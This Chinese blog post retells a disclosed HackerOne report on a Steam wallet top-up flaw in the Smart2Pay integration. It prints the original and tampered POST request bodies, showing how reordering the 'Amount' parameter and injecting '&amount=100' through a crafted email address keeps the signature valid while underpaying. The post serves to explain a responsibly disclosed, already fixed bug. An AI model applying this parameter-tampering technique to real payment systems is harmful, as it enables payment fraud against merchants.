Steam 7500赏金的钱包充值漏洞细节

前几天刷到一个Steam支付漏洞新闻,但描述的细节很粗糙,大概都是这样的:

近日,Hackerone(黑客街:知名全球漏洞众测平台,发现应用程序漏洞提交后可获得赏金)上的一名黑客 drbrix 发现了steam的一个严重漏洞,该漏洞允许用户无限制的免费向steam钱包中添加资金,来看下详细情况
据悉,这个漏洞与荷兰支付平台Smart2Pay有关,这个漏洞允许steam用户免费的添加无限制的资金到steam钱包中,细节操作则是在用户通过特定电子邮件这一付款选项结账时,能拦截交易并将steam钱包中的余额膨胀至无数倍。幸运的是目前除了这位黑客,还没人发现这个漏洞,他自愿也将这个bug提交给了V社,V社看到后立刻修复了这个BUG并奖励了这位黑客7500美元(约合人民币48576元)

描述的很令人好奇,为什么用特定邮箱就能实现绕过校验充值?邮箱跟充值又怎么扯上联系的?但手机上不方便搜索,于是就放着了。

今天又想起这个来,随手搜了一下,搜到了原文 Modify in-flight data to payment provider Smart2Pay

简单的复述一下 drbrix 的报告。

根据报告,漏洞发生在 Steam钱包充值 的流程中,正常进入支付页面,然后支付方式要选择 Smart2Pay 的支付方式,(Smart2Pay 我在国区登录中没看到,搜了下,发现也是一种支付渠道,支持上百种支付方式)。

之后能看到请求信息

POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███

作者描述,因为签名有校验,所以不能随意的增删修改签名,hash逻辑大概是这样的 hash(MerchantID1102MerchantTransactionID█████Amount2000.....)

接下来就是比较骚的思路了,增删和修改数字无法通过校验,但是调整签名的字符顺序后依然能通过校验。像是 Amount=2000 修改为 Amount2=000

但单纯这样没用,缺少了 Amount 字段。此时就要想办法构造一个新的 Amount 字段,既不能增加也不能减少,那么只能拿原有的字段值来调整,在用户手上唯一能修改的就是邮箱名称,所以作者在开头说道这个方法不得不修改你的邮箱。作者将邮箱修改为 brixamount100abc@█████ 其中带上了关键字 amount100

然后拦截并修改构造请求信息,

MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████

这里将原来的 Amount=2000 修改为 Amount2=000,然后邮箱中的关键字用 & 分隔出来成为新的参数值,CustomerEmail=brix&amount=100&ab=c%40

这样只需要支付1美元就完成原来订单中20美元的充值。

最后如新闻所说,V社在评估后把漏洞评定为严重,并且给了挖掘者 7500 美元奖励。

如果没有公布报告,肯定怎么也想不到,这样简单的操作就是绕过支付校验(挖掘者本身需要有功底和经验,但这个漏洞的操作上并不需要太高深的技术,这样也提升了这个漏洞的严重性),而那段发送的数据就是新闻中常常提到的精心构造的数据。


01小径
在路上,遇见了一只BUG,我将它抓住,收藏在了这里。<( ̄︶ ̄)>
651 声望
14 粉丝
0 条评论
推荐阅读
Theia 开发环境搭建
Node.js >= 16.14.0 and < 17.If you are interested in Theia's VS Code Extension support then you should use a Node version at least compatible with the one included in the version of Electron ...

LnEoi1阅读 180

安全地在前后端之间传输数据 - 「3」真的安全吗?
在「2」注册和登录示例中,我们通过非对称加密算法实现了浏览器和 Web 服务器之间的安全传输。看起来一切都很美好,但是危险就在哪里,有些人发现了,有些人嗅到了,更多人却浑然不知。就像是给门上了把好锁,还...

边城29阅读 6.4k评论 5

封面图
http 和 https 的通信过程及区别
🎈 两者的区别端口: http 端口号是80, https 端口号是443传输协议: http 是超文本传输协议,属于明文传输; https 是安全的超文本传输协议,是经过 SSL 加密后的传输协议安全性: https 使用了 TLS/SSL 加密,...

tiny极客2阅读 2.8k评论 2

封面图
支付对接常用的加密方式介绍以及java代码实现
加密解密密钥是相同的。这些算法也叫秘密密钥算法或单密钥算法,它要求发送者和接收者在安全通信之前,商定一个密钥。对称算法的安全性依赖于密钥,泄漏密钥就意味着任何人都能对消息进行加密解密。只要通信需要...

京东云开发者3阅读 520

封面图
JWT 登录认证
🎈 Token 认证流程作为目前最流行的跨域认证解决方案,JWT(JSON Web Token) 深受开发者的喜爱,主要流程如下:客户端发送账号和密码请求登录服务端收到请求,验证账号密码是否通过验证成功后,服务端会生成唯一...

tiny极客2阅读 987评论 1

封面图
ctf(pwn&reverse)总结
F5/tab 查看伪代码空格 查看汇编代码视图->打开子视图->字符串 :查看所有字符串编辑->修补程序 :修改程序 修改完后点击修补程序应用到输入文件即可保存修改

白风之下阅读 2.9k

什么是跨域?如何解决跨域?
跨域: 它是由浏览器的 同源策略 造成的,是浏览器对 JavaScript 实施的安全限制,所谓同源(即指在同一个域)就是两个页面具有相同的协议 protocol,主机 host 和端口号 port 则就会造成 跨域

tiny极客1阅读 832评论 1

封面图
651 声望
14 粉丝
宣传栏